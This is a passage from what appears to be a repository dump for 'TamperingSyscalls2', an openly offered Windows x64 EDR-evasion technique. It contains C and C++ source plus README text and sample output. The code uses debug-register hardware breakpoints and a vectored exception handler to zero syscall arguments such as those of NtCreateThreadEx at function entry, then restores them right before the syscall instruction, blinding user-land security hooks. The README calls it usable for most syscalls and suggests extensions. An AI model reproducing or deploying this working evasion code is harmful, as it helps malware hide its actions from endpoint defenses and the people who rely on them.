false);\n\t}\n\n\t~TS2_HWBP()\n\t{\n\t\tRemoveHWBPS();\n\t}\n};\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                      Exception Handler                               */\n//////////////////////////////////////////////////////////////////////////////////////////\nLONG WINAPI ExceptionHandler(const PEXCEPTION_POINTERS ExceptionInfo)\n{\n\tconst auto address = ExceptionInfo->ContextRecord->Rip;\n\tif (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)\n\t{\n\t\tfor (const auto& [syscall_instr, ai] : ADDRESS_MAP)\n\t\t{\n\t\t\t// check we are inside valid syscall instructions\n\t\t\tif ((address >= syscall_instr) && (address <= ai.return_addr)) {\n\t\t\t\tprintf(\"0x%p >= 0x%p\\n\", (PVOID)address, (PVOID)syscall_instr);\n\t\t\t\tprintf(\"0x%p <= 0x%p\\n\", (PVOID)address, (PVOID)ai.return_addr);\n\n\t\t\t\tif (address == syscall_instr) // mov r10, rcx\n\t\t\t\t{\n\t\t\t\t\tconst auto key = (address + 0x12) | GetCurrentThreadId();\n\n\t\t\t\t\tSYSCALL_MAP[key].Rcx = ExceptionInfo->ContextRecord->Rcx;\n\t\t\t\t\tSYSCALL_MAP[key].Rdx = ExceptionInfo->ContextRecord->Rdx;\n\t\t\t\t\tSYSCALL_MAP[key].R8 = ExceptionInfo->ContextRecord->R8;\n\t\t\t\t\tSYSCALL_MAP[key].R9 = ExceptionInfo->ContextRecord->R9;\n\n\t\t\t\t\tfor (size_t idx = 0; idx < STK_ARGS; idx++)\n\t\t\t\t\t{\n\t\t\t\t\t\tconst size_t offset = idx * 0x8 + 0x28;\n\t\t\t\t\t\tSYSCALL_MAP[key].stk[idx] =\n\t\t\t\t\t\t\t*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset);\n\t\t\t\t\t}\n\n\t\t\t\t\tPRINT_ARGS(\"HIDING\", ExceptionInfo);\n\n\t\t\t\t\tExceptionInfo->ContextRecord->Rcx = 0;\n\t\t\t\t\tExceptionInfo->ContextRecord->Rdx = 0;\n\t\t\t\t\tExceptionInfo->ContextRecord->R8 = 0;\n\t\t\t\t\tExceptionInfo->ContextRecord->R9 = 0;\n\n\t\t\t\t\tfor (size_t idx = 0; idx < STK_ARGS; idx++)\n\t\t\t\t\t{\n\t\t\t\t\t\tconst size_t offset = idx * 0x8 + 0x28;\n\t\t\t\t\t\t*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) = 0ull;\n\t\t\t\t\t}\n\n\t\t\t\t\tPRINT_ARGS(\"HIDDEN\", ExceptionInfo);\n\n\t\t\t\t\tExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag\n\t\t\t\t}\n\t\t\t\telse if (address == ai.syscall_addr)\n\t\t\t\t{\n\t\t\t\t\tauto const key = (address | GetCurrentThreadId());\n\n\t\t\t\t\t// SSN in ExceptionInfo->ContextRecord->Rax\n\n\t\t\t\t\t// mov rcx, r10 \n\t\t\t\t\tExceptionInfo->ContextRecord->R10 = SYSCALL_MAP[key].Rcx;\n\t\t\t\t\tExceptionInfo->ContextRecord->Rcx = SYSCALL_MAP[key].Rcx;\n\t\t\t\t\tExceptionInfo->ContextRecord->Rdx = SYSCALL_MAP[key].Rdx;\n\t\t\t\t\tExceptionInfo->ContextRecord->R8 = SYSCALL_MAP[key].R8;\n\t\t\t\t\tExceptionInfo->ContextRecord->R9 = SYSCALL_MAP[key].R9;\n\n\t\t\t\t\tfor (size_t idx = 0; idx < STK_ARGS; idx++)\n\t\t\t\t\t{\n\t\t\t\t\t\tconst size_t offset = idx * 0x8 + 0x28;\n\t\t\t\t\t\t*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) =\n\t\t\t\t\t\t\tSYSCALL_MAP[key].stk[idx];\n\t\t\t\t\t}\n\n\t\t\t\t\tPRINT_ARGS(\"RESTORED\", ExceptionInfo);\n\n\t\t\t\t\tSYSCALL_MAP.erase(key);\n\t\t\t\t}\n\t\t\t\telse if (address == ai.return_addr)\n\t\t\t\t{\n\t\t\t\t\tExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag\n\t\t\t\t\treturn EXCEPTION_CONTINUE_EXECUTION;\n\t\t\t\t}\n\t\t\t\tExceptionInfo->ContextRecord->EFlags |= (1 << 8);\t// Trap Flag\n\t\t\t\treturn EXCEPTION_CONTINUE_EXECUTION;\n\t\t\t}\n\t\t}\n\t}\n\treturn EXCEPTION_CONTINUE_SEARCH;\n}\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                          Entry                                       */\n//////////////////////////////////////////////////////////////////////////////////////////\nint main()\n{\n\tconst PVOID handler = AddVectoredExceptionHandler(1, ExceptionHandler);\n\n\tTS2_HWBP TS2NtCreateThreadEx{\n\t\t(uintptr_t)(GetProcAddress(GetModuleHandleW(L\"NTDLL.dll\"),\n\t\t\"NtCreateThreadEx\")),\n\t\t0\n\t};\n\n\tfor (unsigned int i = 0; i < 2; ++i) {\n\t\tHANDLE t = CreateThread(nullptr, 0, TestThread, nullptr, 0, nullptr);\n\t\tif (t) WaitForSingleObject(t, INFINITE);\n\t}\n\n\tTS2NtCreateThreadEx.RemoveHWBPS();\n\n\tif (handler != nullptr) RemoveVectoredExceptionHandler(handler);\n}\n\nDWORD WINAPI TestThread(LPVOID lpParameter)\n{\n\tUNREFERENCED_PARAMETER(lpParameter);\n\tprintf(\"\\n----TestThread----\\n\\n\");\n\n\tTS2_HWBP TS2NtCreateMutant{\n\t\t(uintptr_t)(GetProcAddress(GetModuleHandleW(L\"NTDLL.dll\"),\n\t\t\"NtCreateMutant\")),\n\t\t0\n\t};\n\n\tHANDLE m = CreateMutexA(NULL, TRUE, \"rad98\");\n\tif (m) CloseHandle(m);\n\n\treturn 0;\n}\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                          EOF                                         */\n//////////////////////////////////////////////////////////////////////////////////////////\n```\n\nHere is an example output, showing the arguments for NtCreateThreadEx being hidden.\n```\n0x00007FFBDF485400 >= 0x00007FFBDF485400\n0x00007FFBDF485400 <= 0x00007FFBDF485414\nHIDING 12 arguments and stack for 0x00007FFBDF485400 || TID : 0x9ecc\n1:      0x00000062618FF8D8\n2:      0x00000000001FFFFF\n3:      0x0000000000000000\n4:      0xFFFFFFFFFFFFFFFF\n5:      0x00007FF79FB01FA0\n6:      0x0000000000000000\n7:      0x0000000000000000\n8:      0x0000000000000000\n9:      0x0000000000000000\n10:     0x0000000000000000\n11:     0x00000062618FF9F0\n12:     0x000001C700000000\nHIDDEN 12 arguments and stack for 0x00007FFBDF485400 || TID : 0x9ecc\n1:      0x0000000000000000\n2:      0x0000000000000000\n3:      0x0000000000000000\n4:      0x0000000000000000\n5:      0x0000000000000000\n6:      0x0000000000000000\n7:      0x0000000000000000\n8:      0x0000000000000000\n9:      0x0000000000000000\n10:     0x0000000000000000\n11:     0x0000000000000000\n12:     0x0000000000000000\n0x00007FFBDF485403 >= 0x00007FFBDF485400\n0x00007FFBDF485403 <= 0x00007FFBDF485414\n0x00007FFBDF485408 >= 0x00007FFBDF485400\n0x00007FFBDF485408 <= 0x00007FFBDF485414\n0x00007FFBDF485410 >= 0x00007FFBDF485400\n0x00007FFBDF485410 <= 0x00007FFBDF485414\n0x00007FFBDF485412 >= 0x00007FFBDF485400\n0x00007FFBDF485412 <= 0x00007FFBDF485414\nRESTORED 12 arguments and stack for 0x00007FFBDF485412 || TID : 0x9ecc\n1:      0x00000062618FF8D8\n2:      0x00000000001FFFFF\n3:      0x0000000000000000\n4:      0xFFFFFFFFFFFFFFFF\n5:      0x00007FF79FB01FA0\n6:      0x0000000000000000\n7:      0x0000000000000000\n8:      0x0000000000000000\n9:      0x0000000000000000\n10:     0x0000000000000000\n11:     0x00000062618FF9F0\n12:     0x000001C700000000\n0x00007FFBDF485414 >= 0x00007FFBDF485400\n0x00007FFBDF485414 <= 0x00007FFBDF485414\n\n----TestThread----\n[...]\n```\n\nTamperingSyscalls2 (Black Mass) - https://godbolt.org/z/4qrM6j9q7\n\nTamperingSyscalls2 (updated) - https://godbolt.org/z/edf9v1Wj6\n\nTamperingSyscalls2 (pure C) - https://godbolt.org/z/9va7YzEe9\n\nThe code shared should work for most syscalls, though you should test before usage. The\nthe only major limitation in the works presented is a dependency on hashmaps \n(std::unordered_map); this internally will call various native functions indirectly, such \nas NtAllocateVirtualMemory, preventing us from hooking them. This can be repurposed to \nwork with x86 with minimal effort. \n\nIn the future, you could modify the libraries to utilize single stepping, as shown in the \nlast example. You would need to know when you want to stop single-stepping (an address \nor range) and do it as such. This can also be used for the PAGE_GUARD hooking. \n\nYou could also replace `AddVectoredExceptionHandler` with:\n`SetUnhandledExceptionFilter(ExceptionHandler);`\n\n\nReferences:\n\n[1] [https://learn.microsoft.com/en-us/windows/win32/debug/using-a-vectored-exception-handler](https://learn.microsoft.com/en-us/windows/win32/debug/using-a-vectored-exception-handler)\n\n[2] [https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)\n\n[3] [https://unit42.paloaltonetworks.com/sockdetour/](https://unit42.paloaltonetworks.com/sockdetour/)\n\n[4] [https://github.com/microsoft/Windows-classic-samples/tree/main/Samples/Win7Samples/netds/winsock/](https://github.com/microsoft/Windows-classic-samples/tree/main/Samples/Win7Samples/netds/winsock/)\n\n[5] [https://fool.ish.wtf/2022/08/tamperingsyscalls.html](https://fool.ish.wtf/2022/08/tamperingsyscalls.html)\n\n[6] [https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs](https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs)\n\nWith all that, I look to ending on a positive note; I hope you have understood the RAW\nUNMATCHED power of hardware breakpoints!!! \n\nGreetz to jonas, hjonk, smelly, mez0, and the other geezers ;) \n\n```\n                                                        .                                 \n                                                        ~.          .                     \n                                                        !~        :^.                     \n                                                       ^77^    :~!7:                      \n                                                     .~!^.     ~7!!                       \n                                                    :!:       :7^.                        \n                                                   ~!.       ~!     ...:^~.               \n                                                  !7.      .!^      !!!~:                 \n                                                 ~7.      ^7:      .7~.                   \n        .:^::.                                  .7!      !!        !~                     \n     ....:::^~!~.                                !!:   .7^       .!^                      \n             .:^~:.                              :!!:.^!.      .~7.                       \n               ~^^~?^.                             :!!!~:::::^~7~                         \n               .^:~!7!^.                           ^7^:^~~~~~^:                           \n                 :^~^:~7~.                       .77~                                     \n                 :~~:^^~~!!:                    :~~.                -your mate     \n\t\t\t\t .!7~:::~!~~!!^                 .!^.       ^^.       \t\trad   \n                !?^^.::^~~~777!~.             ^7.           .^~^:                         \n              ^??~^:.:::^~~~!!~!7!!^.       .!!               .~98.            ...^~~~^:  \n          .~7JJ~:^::::::^~~^~~!!~!7JY?^.:...::           ::    .~?5:        .?G5Y7!:      \n    .:^7JJ777^^~~~~~^^^:^!~~~!7???J7~:^^::....           ...  . ^!7.^:.:~  JBYJ~.         \n .^?5J!~^~~~^^^:::^~~~~~^~~~~!!77??:.^::::....~^::...   .: ::~7!.:~^^::^^ ?B7:: .....     \n~^^~!!!^^~~!!77777~~~~!~!!777????!::..:.. . .^~!!77~~!~^~^ .:. ...^~:  . !B7. ~~::.       \n:.    .^!?7:::^^^!!7??J?7!!!!7?7:::.  ... .^!77!~^:~!!~:~.       ..:     J?   ...      .^~\n        .^!J:^~^^:::^~7?YYYJ7!!..:.  :^^^~77?777!~::^^  .    . .......  ..   .. ...:~~~!!~\n         .~~?:^^^^:^^^~^^~!7!~7!:. .^:^777!7??7!!!^:~:   .   .  ....::.....    .^~~~^^~^~^\n          ^^7^^!~^^~^^~~~:.:..^!~:^^:~7??7????7!!~^:~:   .   ... ..........   .~J?7!~~^^^^\n          .~!~^!^^^^^~^..:~^....:~~.^!7JYY5YJJ?77!:.^~   ..   .:..~..  ....   :5Y?7777~~~^\n          :~7^^~^^~~~:..::^^:. :!^..:~!!!77???JJ?!^~~!!:.      .^::::.::^..: .~J?7~~^^^^^^\n          ~!!.^~!!!^.::::...  ^~:..~7JJJ??777!~!!!!!~~~^.      .......^^^ ...!J?77!!77?7!~\n         ^7!::~!!^:..:^::.. .~^...^~!77????77!~~~~^^!?!~.  .  ..  .::..:.  .^~7Y5YYYJ???!!\n        ^?7::^^~!. :::::.  :~: ...    .....::::^^^~!!!^.     ....:!?~!7!. .^..:?5YYJ?777!!\n       ~?7^^!!7!: ..:...  ^~::.:^~^:::....                      ..:::~!!..7JJYYYYJJJ??J?JJ\n     :7!~::~~~~:  ...   .~^:.:::...^~^:::::......  .........        :!:  ~~!7??JJJJJ???777\n  .:~^~~7!!77!!^       :^:................::....:::.....:.:..       :!: :77J?7!!7??77!~~~~\n?J5~7~!!!77!!!!!~^:...~^.         ..     ........:^^^^:....:....    :!. .~?Y5YJ??J?7!~^^^^\n~^::~!!!!!77!!~~~!7!~!^:^~~~~^:..             ....:::^^^::........  :~    .^?JJYJJ777!~^^^\n      .^??~^!!~^^::~~~^:~!~~!77!!~^^^:.        .....::::^:..  ....  ^^   .. ..:7J5YJJ?!!~~\n        .~J!~~~^^:~^::::^^^^!7!!~~~~!!^.        .. ...::^......... .^::..:...  .^755YJ???7\n         .^7~^~:^!^:^:^^^^^~!!!!~~~~~~:.            .. ...:... .....:^^^:^:::    ^JYYY?!~~\n           ^!~:~!~^:^^~~~!~~~~~~~!7!!~:      . .      .. .....  .:..:^^::::..    .?Y?!!!!~\n           :!^~^^::::^~~^~~~~~~~!7!77~.  .  .    .     .       ......:::..    .   ^7!7?7~~\n```\n\n"
  },
  {
    "path": "TamperingSyscalls2.c",
    "content": "//////////////////////////////////////////////////////////////////////////////////////////\n/*                           TamperingSyscalls2.c - @rad9800                            */\n/*             C Generic x64 user-land evasion technique utilizing debug registers      */\n/*                   Hides up to 12 args of up to 4 NT calls per thread                 */\n//////////////////////////////////////////////////////////////////////////////////////////\n#include <Windows.h>\n#include <stdio.h>\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                          Macros                                      */\n////////////////////////////////////////////////////////////////////////////////////////// \n#define STK_ARGS 8 // 8 (stack args) + 4 (fast-four)             \n// Can be increased if needed (though you've got a problem if you need more threads)\n#define MAX_THREAD_COUNT 64    \n#define MAX_DEBUG_REGISTERS (MAX_THREAD_COUNT * 4)\n\n#define _DEBUG 1 // 0 (disabled) / 1 (enabled) \n\n#if _DEBUG == 0\n#define PRINT( ... )\n#else\n#define PRINT printf\n#endif\n\n#define PRINT_ARGS( State, ExceptionInfo, address )                     \\\nPRINT(\"%s %d arguments and stack for 0x%p || TID : 0x%x\\n\",             \\\n    State, (STK_ARGS + 4), (PVOID)address, GetCurrentThreadId());       \\\nPRINT(\"1:\\t0x%p\\n\", (PVOID)(ExceptionInfo)->ContextRecord->Rcx);        \\\nPRINT(\"2:\\t0x%p\\n\", (PVOID)(ExceptionInfo)->ContextRecord->Rdx);        \\\nPRINT(\"3:\\t0x%p\\n\", (PVOID)(ExceptionInfo)->ContextRecord->R8);         \\\nPRINT(\"4:\\t0x%p\\n\", (PVOID)(ExceptionInfo)->ContextRecord->R9);         \\\nfor (UINT idx = 0; idx < STK_ARGS; idx++){                              \\\n    const size_t offset = idx * 0x8 + 0x28;                             \\\n    PRINT(\"%d:\\t0x%p\\n\", (idx + 5), (PVOID)*(PULONG64)                  \\\n        ((ExceptionInfo)->ContextRecord->Rsp + offset));                \\\n}\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                          Typedefs                                    */\n//////////////////////////////////////////////////////////////////////////////////////////\ntypedef struct {\n    uintptr_t            rcx;    // First\n    uintptr_t            rdx;    // Second\n    uintptr_t            r8;        // Third\n    uintptr_t            r9;        // Fourth\n    uintptr_t            rsp[STK_ARGS];    // Stack args\n} function_args;\n\ntypedef struct {\n    function_args function_args;\n    uintptr_t  function_address;\n    uintptr_t  sys_call_address;\n    DWORD     key_thread_id_val;\n    UINT     debug_register_pos;\n} sys_call_descriptor;\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                          Globals                                     */\n//////////////////////////////////////////////////////////////////////////////////////////\nsys_call_descriptor sys_call_descriptors[MAX_DEBUG_REGISTERS];\nCRITICAL_SECTION    g_critical_section;\n\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                      Exception Handler                               */\n//////////////////////////////////////////////////////////////////////////////////////////\n/*\n * Function: exception_handler\n * -----------------------------------------\n *  sys_call handler required to save and modify the arguments to syscall\n *  instructions\n *\n *    Registered by init_tampering_sys_call\n *\n */\nLONG WINAPI exception_handler(const PEXCEPTION_POINTERS ExceptionInfo)\n{\n    const uintptr_t exception_address = ExceptionInfo->ContextRecord->Rip;\n\n    if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)\n    {\n        BOOL resolved = FALSE;\n        EnterCriticalSection(&g_critical_section);\n\n        for (size_t i = 0; i < MAX_DEBUG_REGISTERS; i++)\n        {\n            if (exception_address == sys_call_descriptors[i].function_address)\n            {\n                (&ExceptionInfo->ContextRecord->Dr0)[sys_call_descriptors[i].\\\n                    debug_register_pos] =\n                    sys_call_descriptors[i].sys_call_address;\n\n                sys_call_descriptors[i].function_args.rcx =\n                    ExceptionInfo->ContextRecord->Rcx;\n                sys_call_descriptors[i].function_args.rdx =\n                    ExceptionInfo->ContextRecord->Rdx;\n                sys_call_descriptors[i].function_args.r8 =\n                    ExceptionInfo->ContextRecord->R8;\n                sys_call_descriptors[i].function_args.r9 =\n                    ExceptionInfo->ContextRecord->R9;\n\n                for (unsigned j = 0; j < STK_ARGS; j++) {\n                    const size_t offset = j * 0x8 + 0x28;\n                    sys_call_descriptors[i].function_args.rsp[j] =\n                        *(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset);\n                }\n\n                PRINT_ARGS(\"HIDING\", ExceptionInfo, exception_address);\n\n                ExceptionInfo->ContextRecord->Rcx = 0ull;\n                ExceptionInfo->ContextRecord->Rdx = 0ull;\n                ExceptionInfo->ContextRecord->R8 = 0ull;\n                ExceptionInfo->ContextRecord->R9 = 0ull;\n\n                memset(\n                    (PVOID)(ExceptionInfo->ContextRecord->Rsp + 0x28), \n                    0, \n                    STK_ARGS * sizeof(uintptr_t)\n                );\n\n                PRINT_ARGS(\"HIDDEN\", ExceptionInfo, exception_address);\n\n                resolved = TRUE;\n            }\n            else if (exception_address == sys_call_descriptors[i].sys_call_address)\n            {\n                (&ExceptionInfo->ContextRecord->Dr0)[sys_call_descriptors[i].\\\n                    debug_register_pos] =\n                    sys_call_descriptors[i].function_address;\n\n                ExceptionInfo->ContextRecord->R10 =\n                    sys_call_descriptors[i].function_args.rcx;\n                ExceptionInfo->ContextRecord->Rdx =\n                    sys_call_descriptors[i].function_args.rdx;\n                ExceptionInfo->ContextRecord->R8 =\n                    sys_call_descriptors[i].function_args.r8;\n                ExceptionInfo->ContextRecord->R9 =\n                    sys_call_descriptors[i].function_args.r9;\n\n                for (unsigned j = 0; j < STK_ARGS; j++) {\n                    const size_t offset = j * 0x8 + 0x28;\n                    *(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) =\n                        sys_call_descriptors[i].function_args.rsp[j];\n                }\n\n                PRINT_ARGS(\"RESTORED\", ExceptionInfo, exception_address);\n\n                resolved = TRUE;\n            }\n            if (resolved) break;\n        }\n        LeaveCriticalSection(&g_critical_section);\n\n        if (resolved)\n        {\n            ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag\n            return EXCEPTION_CONTINUE_EXECUTION;\n        }\n    }\n\n    return EXCEPTION_CONTINUE_SEARCH;\n}\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                      Functions                                       */\n//////////////////////////////////////////////////////////////////////////////////////////\n\nuintptr_t\nfind_gadget(\n    const uintptr_t function,\n    const BYTE* stub,\n    const UINT size\n)\n{\n    for (unsigned int i = 0; i < 25u; i++)\n    {\n        if (memcmp((LPVOID)(function + i), stub, size) == 0) {\n            return (function + i);\n        }\n    }\n    return 0ull;\n}\n\n/*\n * Function: set_hardware_breakpoint\n * ---------------------------------\n *  sets/removes a hardware breakpoint in the specified debug register for a specific\n *    function address\n *\n *    thd: A handle to the thread (GetCurrentThread)\n *    address: address of function to point a debug register towards\n *    pos: Dr[0-3]\n *    init: TRUE (Sets)/FALSE (Removes)\n *\n */\nvoid\nset_hardware_breakpoint(\n    const HANDLE thd,\n    const uintptr_t address,\n    const UINT pos,\n    const BOOL init\n)\n{\n    BOOL modified = FALSE;\n    CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };\n\n    GetThreadContext(thd, &context);\n    if (init) {\n        (&context.Dr0)[pos] = address;\n        context.Dr7 &= ~(3ull << (16 + 4 * pos));\n        context.Dr7 &= ~(3ull << (18 + 4 * pos));\n        context.Dr7 |= 1ull << (2 * pos);\n\n        modified = TRUE;\n    }\n    else {\n        if ((&context.Dr0)[pos] == address) {\n            context.Dr7 &= ~(1ull << (2 * pos));\n            (&context.Dr0)[pos] = 0ull;\n\n            modified = TRUE;\n        }\n    }\n    if (modified) {\n        SetThreadContext(thd, &context);\n    }\n}\n\n/*\n * Function: clear_sys_call_descriptor_entry\n * -----------------------------------------\n *  Zeroes out the parameters of a sys_call_descriptor\n *\n *    sys_call_descriptor: pointer to sys_call_descriptor\n *\n */\nvoid\nclear_sys_call_descriptor_entry(\n    sys_call_descriptor* p_sys_call_descriptor\n)\n{\n    memset(\n        p_sys_call_descriptor, \n        0, \n        sizeof(sys_call_descriptor)\n    );\n}\n\n/*\n * Function: init_tampering_sys_call\n * ---------------------------------\n *  initializes the structures and globals required\n *\n * returns: handler to the exception handler (can be removed with\n *          RemoveVectoredExceptionHandler.\n *\n */\nPVOID\ninit_tampering_sys_call(\n    void\n)\n{\n    const PVOID handler = AddVectoredExceptionHandler(1, exception_handler);\n    InitializeCriticalSection(&g_critical_section);\n\n    for (size_t i = 0; i < MAX_DEBUG_REGISTERS; i++)\n    {\n        clear_sys_call_descriptor_entry(&sys_call_descriptors[i]);\n    }\n\n    return handler;\n}\n\n\n/*\n * Function: un_init_tampering_sys_call\n * ---------------------------------\n *  Un-initializes the structures and globals required and disables\n *  all currently enabled hardware breakpoints pertaining to tampering\n *  sys_calls.\n *\n */\nvoid\nun_init_tampering_sys_call(\n    const PVOID handler\n)\n{\n    EnterCriticalSection(&g_critical_section);\n\n    for (unsigned int i = 0; i < MAX_DEBUG_REGISTERS; i++)\n    {\n        if (sys_call_descriptors[i].function_address != 0\n            && sys_call_descriptors[i].key_thread_id_val != 0)\n        {\n            HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE,\n                sys_call_descriptors[i].key_thread_id_val);\n\n            set_hardware_breakpoint(\n                thd,\n                sys_call_descriptors[i].function_address,\n                sys_call_descriptors[i].debug_register_pos,\n                FALSE\n            );\n\n            if (thd != INVALID_HANDLE_VALUE) {\n                CloseHandle(thd);\n            }\n\n            clear_sys_call_descriptor_entry(&sys_call_descriptors[i]);\n            break;\n        }\n    }\n\n    LeaveCriticalSection(&g_critical_section);\n\n    RemoveVectoredExceptionHandler(handler);\n\n    DeleteCriticalSection(&g_critical_section);\n}\n\n/*\n * Function: set_tampering_sys_call\n * --------------------------------\n *  sets the hardware breakpoint, and adds the required entries to global\n *  structures\n *\n * nt_function_address: & of NT function\n * pos: Debug register position (0-3)\n *\n */\nvoid\nset_tampering_sys_call(\n    const uintptr_t nt_function_address,\n    const UINT pos\n)\n{\n    const UINT idx = pos % 4;\n    const BYTE sys_call_op_code[] = { 0x0F, 0x05 };\n    const uintptr_t nt_sys_call_address =\n        find_gadget(nt_function_address, sys_call_op_code, 2);\n\n    // Perform only required work when inside critical section.\n    EnterCriticalSection(&g_critical_section);\n\n    for (unsigned int i = 0; i < MAX_DEBUG_REGISTERS; i++)\n    {\n        if (sys_call_descriptors[i].function_address == 0)\n        {\n            sys_call_descriptors[i].function_address = nt_function_address;\n            sys_call_descriptors[i].sys_call_address = nt_sys_call_address;\n\n            sys_call_descriptors[i].debug_register_pos = idx;\n            sys_call_descriptors[i].key_thread_id_val = GetCurrentThreadId();\n\n            break;\n        }\n    }\n\n    LeaveCriticalSection(&g_critical_section);\n\n    set_hardware_breakpoint(\n        GetCurrentThread(),\n        nt_function_address,\n        idx,\n        TRUE\n    );\n}\n\n/*\n * Function: remove_tampering_sys_call\n * -----------------------------------\n *  Destroys all objects and debug registers set during init or use.\n *\n * nt_function_address: & of NT function\n * pos: Debug register position (0-3)\n *\n */\nvoid\nremove_tampering_sys_call(\n    const uintptr_t nt_function_address,\n    const UINT pos\n)\n{\n    EnterCriticalSection(&g_critical_section);\n\n    for (unsigned int i = 0; i < MAX_DEBUG_REGISTERS; i++)\n    {\n        if (sys_call_descriptors[i].function_address == nt_function_address\n            && sys_call_descriptors[i].key_thread_id_val == GetCurrentThreadId())\n        {\n            clear_sys_call_descriptor_entry(&sys_call_descriptors[i]);\n            break;\n        }\n    }\n\n    LeaveCriticalSection(&g_critical_section);\n\n    set_hardware_breakpoint(\n        GetCurrentThread(),\n        nt_function_address,\n        pos % 4,\n        FALSE\n    );\n}\n\n\nDWORD WINAPI\ntest_thread(\n    LPVOID lp_parameter\n)\n{\n    PRINT(\"---- New Thread ----\\n\");\n\n    set_tampering_sys_call(\n        (uintptr_t)GetProcAddress(GetModuleHandleW(L\"NTDLL.dll\"),\n            \"NtCreateMutant\"),\n        1\n    );\n\n    HANDLE m = CreateMutexA(NULL, TRUE, \"rad98\");\n    if (m) CloseHandle(m);\n\n    // Not really needed as thread returns, but it's good practice.\n    remove_tampering_sys_call(\n        (uintptr_t)GetProcAddress(GetModuleHandleW(L\"NTDLL.dll\"),\n            \"NtCreateMutant\"),\n        1\n    );\n    return 0;\n}\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                          Entry                                       */\n//////////////////////////////////////////////////////////////////////////////////////////\n\nint main()\n{\n    const PVOID handler = init_tampering_sys_call();\n    HANDLE t = NULL;\n\n    set_tampering_sys_call(\n        (uintptr_t)GetProcAddress(GetModuleHandleW(L\"NTDLL.dll\"),\n            \"NtCreateThreadEx\"),\n        0\n    );\n\n    for (unsigned i = 0; i < 2; i++)\n    {\n        t = CreateThread(NULL, 0, test_thread, NULL, 0, NULL);\n        if (t) WaitForSingleObject(t, INFINITE);\n    }\n\n    remove_tampering_sys_call(\n        (uintptr_t)GetProcAddress(GetModuleHandleW(L\"NTDLL.dll\"),\n            \"NtCreateThreadEx\"),\n        0\n    );\n\n    un_init_tampering_sys_call(handler);\n}\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                          EOF                                         */\n//////////////////////////////////////////////////////////////////////////////////////////\n"
  },
  {
    "path": "TamperingSyscalls2.cpp",
    "content": "//////////////////////////////////////////////////////////////////////////////////////////\n/*                           TamperingSyscalls2.cpp - @rad9800     c++20                */\n/*              C++ Generic x64 user-land evasion technique utilizing HWBP.cpp          */\n/*                   Hides up to 12 args of up to 4 NT calls per thread                 */\n//////////////////////////////////////////////////////////////////////////////////////////\n#include <windows.h>\n\n#include <tlhelp32.h>\n#include <functional>\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                          Structs                                     */\n//////////////////////////////////////////////////////////////////////////////////////////\n\n\t\t\t\t\t\t// 12 - 4 = 8 - should cover most Nt functions. \n#define STK_ARGS 8\t\t\t// Increase this value, works until ~100...\n\ntypedef struct {\n\tuintptr_t\t\t\t\t\t\t\t\t\tfunction_addr;\t// +0x0\n\tuintptr_t\t\t\t\t\t\t\t\t\tsyscall_addr;\t// +0x12\n\tUINT\t\t\t\t\t\t\t\t\t\t\t\t pos;\n} ADDRESS_INFORMATION;\n\ntypedef struct {\n\tuintptr_t\t\t\tRcx;\t// First\n\tuintptr_t\t\t\tRdx;\t// Second\n\tuintptr_t\t\t\tR8;\t\t// Third\n\tuintptr_t\t\t\tR9;\t\t// Fourth\n\tuintptr_t\t\t\tstk[STK_ARGS];\t// Stack args\n} FUNC_ARGS;\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                          Macros                                      */\n////////////////////////////////////////////////////////////////////////////////////////// \n#define PRINT_ARGS( State, ExceptionInfo )                              \\\nprintf(\"%s %d arguments and stack for 0x%p || TID : 0x%x\\n\",            \\\n    State, (STK_ARGS + 4), (PVOID)address, GetCurrentThreadId());       \\\nprintf(\"1:\\t0x%p\\n\", (PVOID)(ExceptionInfo)->ContextRecord->Rcx);       \\\nprintf(\"2:\\t0x%p\\n\", (PVOID)(ExceptionInfo)->ContextRecord->Rdx);       \\\nprintf(\"3:\\t0x%p\\n\", (PVOID)(ExceptionInfo)->ContextRecord->R8);        \\\nprintf(\"4:\\t0x%p\\n\", (PVOID)(ExceptionInfo)->ContextRecord->R9);        \\\nfor (UINT idx = 0; idx < STK_ARGS; idx++){                              \\\n    const size_t offset = idx * 0x8 + 0x28;                             \\\n    printf(\"%d:\\t0x%p\\n\", (idx + 5), (PVOID)*(PULONG64)                 \\\n        ((ExceptionInfo)->ContextRecord->Rsp + offset));                \\\n}\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                          Globals                                     */\n//////////////////////////////////////////////////////////////////////////////////////////\nstd::unordered_map<uintptr_t, ADDRESS_INFORMATION> ADDRESS_MAP{ 0 };\n// syscall opcode { 0x55 } address, func args in registers and stack \nstd::unordered_map<uintptr_t, FUNC_ARGS> SYSCALL_MAP{ 0 };\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                      Functions                                       */\n//////////////////////////////////////////////////////////////////////////////////////////\nVOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init)\n{\n\tCONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };\n\tGetThreadContext(thd, 